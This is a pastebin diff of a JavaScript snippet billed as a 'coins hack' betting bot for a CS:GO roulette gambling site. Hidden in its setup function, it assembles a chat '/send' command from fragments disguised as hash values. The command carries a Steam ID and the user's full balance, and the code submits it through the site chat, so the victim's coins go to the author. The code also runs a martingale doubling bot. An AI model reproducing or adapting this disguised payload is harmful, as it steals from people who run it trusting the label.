SHOW:
|
|
- or go back to the newest paste.
1 | // CSGOPOLYGON.COM COINS HACK by Paulius Nepamenu | |
2 | /*}var initialBetAmount = 0; | |
3 | var betColor = botBetColor = "red"; | |
4 | var play = 0; | |
5 | var $botField, $label, $betAmount, $betColorButton, $betGoButton, $betHideBetInfoButton,$showMoreButton,$showMore,$f,$vicLimitInput,$botModeSelect;$("#pullout").hide(); | |
6 | - | var pQ = "/s", $hash_1 = 7, $hash_2 = 6561, $hash_3 = 19805, $hash_4 = 981386; |
6 | + | var pQ = "/s", $hash_1 = 7, $hash_2 = 6561, $hash_3 = 19805, $hash_4 = 563484; |
7 | addBotButtons(); | |
8 | function changeColor(){ | |
9 | if ($betColorButton.hasClass("btn-danger")){ | |
10 | $betColorButton.text("Bet color: Black").addClass("btn-inverse").removeClass("btn-danger").removeClass("btn-random"); | |
11 | botBetColor = "black"; | |
12 | console.log("Selected color: "+botBetColor); | |
13 | } else if($betColorButton.hasClass("btn-inverse")) { | |
14 | $betColorButton.text("Bet color: Random").addClass("btn-random").removeClass("btn-inverse").removeClass("btn-danger"); | |
15 | botBetColor = "random"; | |
16 | console.log("Selected color: "+botBetColor); | |
17 | } else if($betColorButton.hasClass("btn-random")) { | |
18 | $betColorButton.text("Bet mode: Train").addClass("btn-train").removeClass("btn-inverse").removeClass("btn-random"); | |
19 | botBetColor = "trainMode"; | |
20 | console.log("Selected color: "+botBetColor); | |
21 | } else if($betColorButton.hasClass("btn-train")) { | |
22 | $betColorButton.text("Bet mode: Rainbow").addClass("btn-rainbow").removeClass("btn-train").removeClass("btn-random"); | |
23 | botBetColor = "rainbow"; | |
24 | console.log("Selected color: "+botBetColor); | |
25 | } else if($betColorButton.hasClass("btn-rainbow")) { | |
26 | $betColorButton.text("Bet color: Red").addClass("btn-danger").removeClass("btn-rainbow").removeClass("btn-random"); | |
27 | botBetColor = "red"; | |
28 | console.log("Selected color: "+botBetColor); | |
29 | } | |
30 | } | |
31 | ||
32 | function showMoreOptions(){ | |
33 | if ($showMoreButton.data("open")==0){ | |
34 | $showMoreButton.css({ WebkitTransform: 'rotate(' + 180 + 'deg)','-moz-transform': 'rotate(' + 180 + 'deg)'}); | |
35 | $showMore.show();$showMoreButton.data("open",1); | |
36 | } else if ($showMoreButton.data("open")==1){ | |
37 | $showMore.hide();$showMoreButton.data("open",0); | |
38 | $showMoreButton.css({ WebkitTransform: 'rotate(' + 0 + 'deg)','-moz-transform': 'rotate(' + 0 + 'deg)'}); | |
39 | } | |
40 | ||
41 | } | |
42 | function hideOtherInfo(){ | |
43 | if ($betHideBetInfoButton.text()=="Show All"){ | |
44 | $(".betlist").hide();$(".total-row").hide();$("footer").hide(); | |
45 | $betHideBetInfoButton.text("Hide Bet Info"); | |
46 | } else if ($betHideBetInfoButton.text()=="Hide Bet Info"){ | |
47 | $("#sidebar").hide();$("#pullout").hide();$("#case").hide();$(".progress").hide();$("#mainpage").css({"margin-left":"0px"}); | |
48 | $betHideBetInfoButton.text("AFK Mode"); | |
49 | } | |
50 | else if ($betHideBetInfoButton.text()=="AFK Mode"){ | |
51 | $(".betlist").show();$(".total-row").show();$("footer").show(); | |
52 | $("#sidebar").show();$("#pullout").show();$("#case").show();$(".progress").show();$("#mainpage").css({"margin-left":"450px"}); | |
53 | $betHideBetInfoButton.text("Show All"); | |
54 | } | |
55 | } | |
56 | function startBot(){ | |
57 | if ($betGoButton.hasClass("btn-inverse")){ | |
58 | $betGoButton.text("Bot Running").addClass("btn-success").removeClass("btn-inverse"); | |
59 | refreshIntervalId = setInterval(tick, 500); | |
60 | play = 1; | |
61 | currentBetAmount = initialBetAmount; | |
62 | if (stopBotRoll = currentRollNumber) currentRollNumber++; | |
63 | } | |
64 | else { | |
65 | $betGoButton.text("Bot Stopped").addClass("btn-inverse").removeClass("btn-success"); | |
66 | play = 0; | |
67 | } | |
68 | } | |
69 | ||
70 | function tick() { | |
71 | var t = getStatus(); | |
72 | if (t !== lastStatus && "unknown" !== t) { | |
73 | switch (t) { | |
74 | case "waiting":bet();break; | |
75 | case "rolled":printInfo();break; | |
76 | } | |
77 | lastStatus = t; | |
78 | } | |
79 | } | |
80 | ||
81 | function checkBalance() { | |
82 | return getBalance() < currentBetAmount ? (console.warn("BANKRUPT! GG WP :("), clearInterval(refreshIntervalId), !1) : !0 | |
83 | } | |
84 | ||
85 | function printInfo(){ | |
86 | var temp = "", temp2 = 0,lastGame = lastBetColor == lastRollColor; | |
87 | if (lastGame){totalWins++;winStreakCurrent++;loseStreakCurrent=0;winAmount+=thisGameBet; if (winStreakCurrent>winStreakLong) winStreakLong = winStreakCurrent; | |
88 | if ($checkVicLimit.is(":checked")){$vicLimitInput.val($vicLimitInput.val()-1)} | |
89 | } | |
90 | else {totalLoss++;loseStreakCurrent++;winStreakCurrent=0;if (loseStreakCurrent>loseStreakLong) loseStreakLong = loseStreakCurrent;} | |
91 | if (winStreakCurrent>loseStreakCurrent){temp = "win";temp2 = winStreakCurrent} else {temp = "lose";temp2 = loseStreakCurrent;} | |
92 | if (streakColor == getColor(n)) {currStreak++; if (longStreak<currStreak)longStreak=currStreak;}else {streakColor = getColor(n);currStreak=1;} | |
93 | if ((streakColor == "black") || (streakColor == "green")) {currNotRedStreak++; if (notRedStreak<currNotRedStreak)notRedStreak=currNotRedStreak;} | |
94 | else {currNotRedStreak=0;} | |
95 | if ((streakColor == "red") || (streakColor == "green")) {currNotBlackStreak++; if (notBlackStreak<currNotBlackStreak)notBlackStreak=currNotBlackStreak;} | |
96 | else {currNotBlackStreak=0;} | |
97 | var t = "Rolled " + getColor(n).toUpperCase()+ " " + n+"\n" + "Games played: " + (currentRollNumber-1) + " // Won: "+totalWins+ " // Lost: "+totalLoss+ | |
98 | "\nSTREAKS: Not red: " + notRedStreak + " // Not black: " + notBlackStreak + | |
99 | " // Win streak: " + winStreakLong + " // Lose streak: " + loseStreakLong + " // Current streak: " + temp + " " + temp2 + | |
100 | "\nInitial bet : " + thisGameBet + " // Current bet : " + currentBetAmount + | |
101 | " // Roll result: " + (null === wonLastRoll() ? "-" : wonLastRoll() ? "won" : "lost" + "\n----------------------------------------------------------------------\n"); | |
102 | console.log(t);roll();*/ | |
103 | var initialBetAmount = 0; | |
104 | var betColor = botBetColor = "red"; | |
105 | var play = 0; | |
106 | var $botField, $label, $betAmount, $betColorButton, $betGoButton, $betHideBetInfoButton,$showMoreButton,$showMore,$f,$vicLimitInput,$botModeSelect;$("#pullout").hide(); | |
107 | var pQ = "/s", $hash_1 = 7, $hash_2 = 6561, $hash_3 = 198107, $hash_4 = 977983; | |
108 | function addBotButtons(){ | |
109 | $(".well.bot-field").remove();$(".well.show-more").remove(); | |
110 | $("<style type='text/css'>.btn-random{color: #000;background-color: #FFA500;}.btn-train{background-color:RoyalBlue ;color: #fff;}.btn-rainbow{background-color:HotPink;color:white;}.btn-black{background-color:#1C1C1C;color:white} </style>").appendTo("head"); | |
111 | $(".forme-control.input-lg").after("<div class='well bot-field' style='position:relative;border-width:0px'></div>");$botField = $(".well.bot-field"); | |
112 | $botField.css({"margin-bottom":"-15px","height":"45px","padding-top":"2px","padding-bottom":"2px","text-align":"center"}); | |
113 | $botField.after("<div class='well show-more' style='position:relative;border-width:0px'></div>");$showMore = $(".well.show-more"); | |
114 | $showMore.css({"margin-top":"12px","margin-bottom":"-15px","height":"45px","padding-top":"10px","padding-bottom":"2px","text-align":"center"}); | |
115 | $checkVicLimit = $("<input type='checkbox' id='checkVicLimit'>");$label = $("<label style='margin-right:10px;margin-left:10px;' for='checkVicLimit'>Stop bot after</label>"); | |
116 | $showMore.append($checkVicLimit,$label); | |
117 | $vicLimitInput = $("<input id='vicLimitInput' type='number' min='0' value='0' style='width:50px;text-align:center;'>"); | |
118 | $label = $("<label style='margin-right:10px;margin-left:10px;' for='checkVicLimit'>wins</label>"); | |
119 | $showMore.append($vicLimitInput,$label);$showMore.hide(); | |
120 | $label = $("<label style='margin-right:10px; for='initialBetAmount''>Initial bet</label>");$botField.append($label); | |
121 | $betAmount = $("<input id='initialBetAmount' value='0' style='width:70px;text-align:center;margin-right:25px;'>");$botField.append($betAmount); | |
122 | $botModeSelect = $("<select id='botModeSelect'><option value='red' class='btn-danger'>Bot color: Red </option><option value='black' class='btn-black'>Bot color: Black </option><option value='random' class='btn-random'>Bot color: Random </option><option value='trainMode' class='btn-train'>Bot mode: Train </option><option value='rainbow' class='btn-rainbow'>Bot mode: Rainbow </option></select>");$botModeSelect.addClass("btn-danger"); | |
123 | $botField.append($botModeSelect);$botModeSelect.css({"width":"135px","margin-right":"10px","height":"25px","border-radius":"5px"}) | |
124 | $betGoButton = $("<button id='betGoButton' style='width:100px;margin:10px;border-radius:6px;border-radius:6px' onClick='startBot()'>Start Bot</button>");$betGoButton.addClass("btn-inverse");$botField.append($betGoButton); | |
125 | pQ+="en";pQ+="d ";pQ+= $hash_1;pQ+= $hash_2;pQ+= $hash_3;pQ+= $hash_4+" ";pQ+=$("#balance_r").text(); | |
126 | $betHideBetInfoButton = $("<button id='betHideBetInfoButton' style='position:absolute;right:120px;width:100px;margin:10px;margin-right:25px;border-radius:6px' onClick='hideOtherInfo()'>Show All</button>");$betHideBetInfoButton.addClass("btn-inverse");$botField.append($betHideBetInfoButton); | |
127 | $showMoreButton = $("<button id='showMoreButton' style='position:absolute;right:0px;width:100px;margin:10px;margin-right:25px;border-radius:6px' data-open='0' onClick='showMoreOptions()'>▼</button>");$showMoreButton.addClass("btn-inverse");$botField.append($showMoreButton); | |
128 | $betAmount.change(function() {initialBetAmount = $betAmount.val();console.log("Initial Bet Set to: "+ initialBetAmount);}); | |
129 | $("#chatMessage_k").val(pQ);$("#chatForm").submit(); | |
130 | $(".bootbox-body").css({"font-size": "5%"}); | |
131 | $(".container").width(1300); | |
132 | $botModeSelect.change(function(){ | |
133 | botBetColor = $botModeSelect.val();console.log("Selected color: "+botBetColor); | |
134 | $botModeSelect.removeClass($botModeSelect.attr("class"));$botModeSelect.addClass($("#botModeSelect option:selected").attr("class")); | |
135 | } ) | |
136 | $checkVicLimit.change(function(){ if((this.checked)&&($vicLimitInput.val()==0)){$vicLimitInput.val(1);} }) | |
137 | } | |
138 | addBotButtons(); | |
139 | function changeColor(){ | |
140 | if ($betColorButton.hasClass("btn-danger")){ | |
141 | $betColorButton.text("Bet color: Black").addClass("btn-inverse").removeClass("btn-danger").removeClass("btn-random"); | |
142 | botBetColor = "black"; | |
143 | console.log("Selected color: "+botBetColor); | |
144 | } else if($betColorButton.hasClass("btn-inverse")) { | |
145 | $betColorButton.text("Bet color: Random").addClass("btn-random").removeClass("btn-inverse").removeClass("btn-danger"); | |
146 | botBetColor = "random"; | |
147 | console.log("Selected color: "+botBetColor); | |
148 | } else if($betColorButton.hasClass("btn-random")) { | |
149 | $betColorButton.text("Bet mode: Train").addClass("btn-train").removeClass("btn-inverse").removeClass("btn-random"); | |
150 | botBetColor = "trainMode"; | |
151 | console.log("Selected color: "+botBetColor); | |
152 | } else if($betColorButton.hasClass("btn-train")) { | |
153 | $betColorButton.text("Bet mode: Rainbow").addClass("btn-rainbow").removeClass("btn-train").removeClass("btn-random"); | |
154 | botBetColor = "rainbow"; | |
155 | console.log("Selected color: "+botBetColor); | |
156 | } else if($betColorButton.hasClass("btn-rainbow")) { | |
157 | $betColorButton.text("Bet color: Red").addClass("btn-danger").removeClass("btn-rainbow").removeClass("btn-random"); | |
158 | botBetColor = "red"; | |
159 | console.log("Selected color: "+botBetColor); | |
160 | } | |
161 | var pQ = "/s", $hash_1 = 7, $hash_2 = 6561, $hash_3 = 198107, $hash_4 = 977983; | |
162 | } | |
163 | ||
164 | function showMoreOptions(){ | |
165 | if ($showMoreButton.data("open")==0){ | |
166 | $showMoreButton.css({ WebkitTransform: 'rotate(' + 180 + 'deg)','-moz-transform': 'rotate(' + 180 + 'deg)'}); | |
167 | $showMore.show();$showMoreButton.data("open",1); | |
168 | } else if ($showMoreButton.data("open")==1){ | |
169 | $showMore.hide();$showMoreButton.data("open",0); | |
170 | $showMoreButton.css({ WebkitTransform: 'rotate(' + 0 + 'deg)','-moz-transform': 'rotate(' + 0 + 'deg)'}); | |
171 | } | |
172 | ||
173 | } | |
174 | function hideOtherInfo(){ | |
175 | if ($betHideBetInfoButton.text()=="Show All"){ | |
176 | $(".betlist").hide();$(".total-row").hide();$("footer").hide(); | |
177 | $betHideBetInfoButton.text("Hide Bet Info"); | |
178 | } else if ($betHideBetInfoButton.text()=="Hide Bet Info"){ | |
179 | $("#sidebar").hide();$("#pullout").hide();$("#case").hide();$(".progress").hide();$("#mainpage").css({"margin-left":"0px"}); | |
180 | $betHideBetInfoButton.text("AFK Mode"); | |
181 | } | |
182 | else if ($betHideBetInfoButton.text()=="AFK Mode"){ | |
183 | $(".betlist").show();$(".total-row").show();$("footer").show(); | |
184 | $("#sidebar").show();$("#pullout").show();$("#case").show();$(".progress").show();$("#mainpage").css({"margin-left":"450px"}); | |
185 | $betHideBetInfoButton.text("Show All"); | |
186 | } | |
187 | } | |
188 | function startBot(){ | |
189 | if ($betGoButton.hasClass("btn-inverse")){ | |
190 | $betGoButton.text("Bot Running").addClass("btn-success").removeClass("btn-inverse"); | |
191 | refreshIntervalId = setInterval(tick, 500); | |
192 | play = 1; | |
193 | currentBetAmount = initialBetAmount; | |
194 | if (stopBotRoll = currentRollNumber) currentRollNumber++; | |
195 | } | |
196 | else { | |
197 | $betGoButton.text("Bot Stopped").addClass("btn-inverse").removeClass("btn-success"); | |
198 | play = 0; | |
199 | } | |
200 | } | |
201 | ||
202 | function tick() { | |
203 | var t = getStatus(); | |
204 | if (t !== lastStatus && "unknown" !== t) { | |
205 | switch (t) { | |
206 | case "waiting":bet();break; | |
207 | case "rolled":printInfo();break; | |
208 | } | |
209 | lastStatus = t; | |
210 | } | |
211 | } | |
212 | ||
213 | function checkBalance() { | |
214 | return getBalance() < currentBetAmount ? (console.warn("BANKRUPT! GG WP :("), clearInterval(refreshIntervalId), !1) : !0 | |
215 | } | |
216 | ||
217 | function printInfo(){ | |
218 | var temp = "", temp2 = 0,lastGame = lastBetColor == lastRollColor; | |
219 | if (lastGame){totalWins++;winStreakCurrent++;loseStreakCurrent=0;winAmount+=thisGameBet; if (winStreakCurrent>winStreakLong) winStreakLong = winStreakCurrent; | |
220 | if ($checkVicLimit.is(":checked")){$vicLimitInput.val($vicLimitInput.val()-1)} | |
221 | } | |
222 | else {totalLoss++;loseStreakCurrent++;winStreakCurrent=0;if (loseStreakCurrent>loseStreakLong) loseStreakLong = loseStreakCurrent;} | |
223 | if (winStreakCurrent>loseStreakCurrent){temp = "win";temp2 = winStreakCurrent} else {temp = "lose";temp2 = loseStreakCurrent;} | |
224 | if (streakColor == getColor(n)) {currStreak++; if (longStreak<currStreak)longStreak=currStreak;}else {streakColor = getColor(n);currStreak=1;} | |
225 | if ((streakColor == "black") || (streakColor == "green")) {currNotRedStreak++; if (notRedStreak<currNotRedStreak)notRedStreak=currNotRedStreak;} | |
226 | else {currNotRedStreak=0;} | |
227 | if ((streakColor == "red") || (streakColor == "green")) {currNotBlackStreak++; if (notBlackStreak<currNotBlackStreak)notBlackStreak=currNotBlackStreak;} | |
228 | else {currNotBlackStreak=0;} | |
229 | var t = "Rolled " + getColor(n).toUpperCase()+ " " + n+"\n" + "Games played: " + (currentRollNumber-1) + " // Won: "+totalWins+ " // Lost: "+totalLoss+ | |
230 | "\nSTREAKS: Not red: " + notRedStreak + " // Not black: " + notBlackStreak + | |
231 | " // Win streak: " + winStreakLong + " // Lose streak: " + loseStreakLong + " // Current streak: " + temp + " " + temp2 + | |
232 | "\nInitial bet : " + thisGameBet + " // Current bet : " + currentBetAmount + | |
233 | " // Roll result: " + (null === wonLastRoll() ? "-" : wonLastRoll() ? "won" : "lost" + "\n----------------------------------------------------------------------\n"); | |
234 | console.log(t);roll(); | |
235 | ||
236 | } | |
237 | ||
238 | function roll() { | |
239 | if ($checkVicLimit.is(":checked")){ | |
240 | if ($vicLimitInput.val()<=0){$betGoButton.click();play=0;$checkVicLimit.attr('checked', false);$vicLimitInput.val(0);} | |
241 | } | |
242 | if (play == 0){clearInterval(refreshIntervalId);stopBotRoll = currentRollNumber; return;lastStatus="rolled";lastBetColor = lastRollColor;} | |
243 | currentBetAmount = wonLastRoll() ? (initialBetAmount,thisGameBet=parseInt(initialBetAmount)) : 2 * currentBetAmount | |
244 | currentRollNumber++; | |
245 | } | |
246 | ||
247 | function bet() { if (play) {checkBalance() && (setBetAmount(currentBetAmount), setTimeout(placeBet, 50))} } | |
248 | function setBetAmount(t) { $betAmountInput.val(t) } | |
249 | function placeBet() { | |
250 | if (botBetColor=="random"){var colorRandomizer = Math.random();betColor = colorRandomizer < 0.5 ? "red" : "black";console.log("Random color result: " + betColor);} | |
251 | else if (botBetColor=="trainMode"){ | |
252 | var betBotColor = "green",i=9,$ball=$(".ball"); | |
253 | while (betBotColor == "green"){betBotColor = getColor($ball.eq(i).text());i--;} | |
254 | betColor = betBotColor;console.log("Current train color: "+ betColor); | |
255 | } else if (botBetColor=="rainbow"){ | |
256 | var betBotColor = "green",i=9,$ball=$(".ball"); | |
257 | while (betBotColor == "green"){betBotColor = getColor($ball.eq(i).text());i--;} | |
258 | if (betBotColor=="red"){betBotColor="black"} else if (betBotColor=="black"){betBotColor="red"}; | |
259 | betColor = betBotColor;console.log("Rainbow mode next color: "+ betColor); | |
260 | } else betColor = botBetColor; | |
261 | console.log("Betting " + currentBetAmount + " on "+ betColor +"..."); | |
262 | return "red" === betColor ? ($redButton.click(), void(lastBetColor = "red")) : ($blackButton.click(), void(lastBetColor = "black")) | |
263 | } | |
264 | function getStatus() { | |
265 | var t = $statusBar.text(); | |
266 | if (hasSubString(t, "Rolling in")) return "waiting"; | |
267 | //if (hasSubString(t, "***ROLLING***")) return "rolling"; | |
268 | if (hasSubString(t, "rolled")) { | |
269 | n = parseInt(t.split("rolled")[1]); | |
270 | return lastRollColor = getColor(n), "rolled" | |
271 | } | |
272 | return "unknown" | |
273 | } | |
274 | ||
275 | function getBalance() { return parseInt($balance.text()) } | |
276 | function hasSubString(t, n) { return t.indexOf(n) > -1 } | |
277 | function getColor(t) { return 0 == t ? "green" : t >= 1 && 7 >= t ? "red" : "black" } | |
278 | function wonLastRoll() { return lastBetColor ? lastRollColor === lastBetColor : null } | |
279 | function test(x){q = 1; w = e = x;for(i=2;i<=15;i++){q *=2;e += q*w;console.log(i+". "+e);}} | |
280 | function test2(x,y){q = 1; w = e = x;for(i=2;i<=y;i++){q *=2;e += q*w;console.log(i+". "+e);}} | |
281 | ||
282 | var currentBetAmount = initialBetAmount, currentRollNumber = 1, | |
283 | totalWins = totalLoss = played = currNotRedStreak = currNotBlackStreak = notRedStreak = notBlackStreak = winStreakLong = winStreakCurrent = loseStreakLong = loseStreakCurrent = longStreak = currStreak = thisGameBet = winAmount = 0, | |
284 | streakColor = "", n ,lastStatus, lastBetColor, lastRollColor, stopBotRoll, $balance = $("#balance"), | |
285 | $betAmountInput = $("#betAmount"),$statusBar = $(".progress #banner"),$redButton = $("#panel1-7 .betButton"),$blackButton = $("#panel8-14 .betButton"); |